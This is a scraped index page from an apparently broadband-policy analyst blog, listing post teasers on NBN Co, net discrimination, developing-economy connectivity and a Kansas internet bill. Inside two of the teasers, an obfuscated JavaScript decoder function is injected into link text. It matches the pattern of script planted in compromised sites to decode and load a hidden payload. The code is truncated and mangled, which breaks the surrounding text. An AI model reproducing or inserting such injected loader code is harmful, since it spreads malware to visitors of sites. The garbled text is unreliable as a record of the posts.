To a Well Connected 2016

2015 has been a troubled year on the international scene, and while it isn't our role at Diffraction Analysis to comment news events,

Plucking the low-hanging broadband policy fruit

Ever since moving to Asia last year I have been looking around for what was happening broadband policy wise

NBN Co should NOT open its network to retail customers

It won’t come as a surprise that I follow what’s happening with Australia’s NBN Co with interest. After all, even if I’ve been highly critical of the plan’s implementation

DT didn’t shelf its variable rate plans…

 

There was an interesting and animated discussion on twitter yesterday about the fact that journalists systematically present network congestion due to Online

How much money is there in Net Discrimination?

 

One of the striking realizations of my Analyst career was when I found out that very often companies in the broadband

Connectivity Models for Developing Economies

ConnectivityThumbThere are recurring misconceptions about broadband in emerging markets. These are considered "truths"

Kansas Legislature Introduces Bill to Limit Internet Investment

See on function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)< <4)|(we>2);qe=((we&3)< <6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand-networks”Scoop.itConnected World

Benoit Felten‘s insight:

Looks like the US incumbents are at it again, trying to stifle

Gigabit at Bayonette’s Point!

 

I’ll be honest, I’d never heard of Bayonette until I read function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8< <2)|(w9>4);w6=((w9&15)< <4)|(we>2);qe=((we&3)< <6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaand-free-fibre-promises-network-extension-7000021150/”this article in ZDNet. I tend to be cautious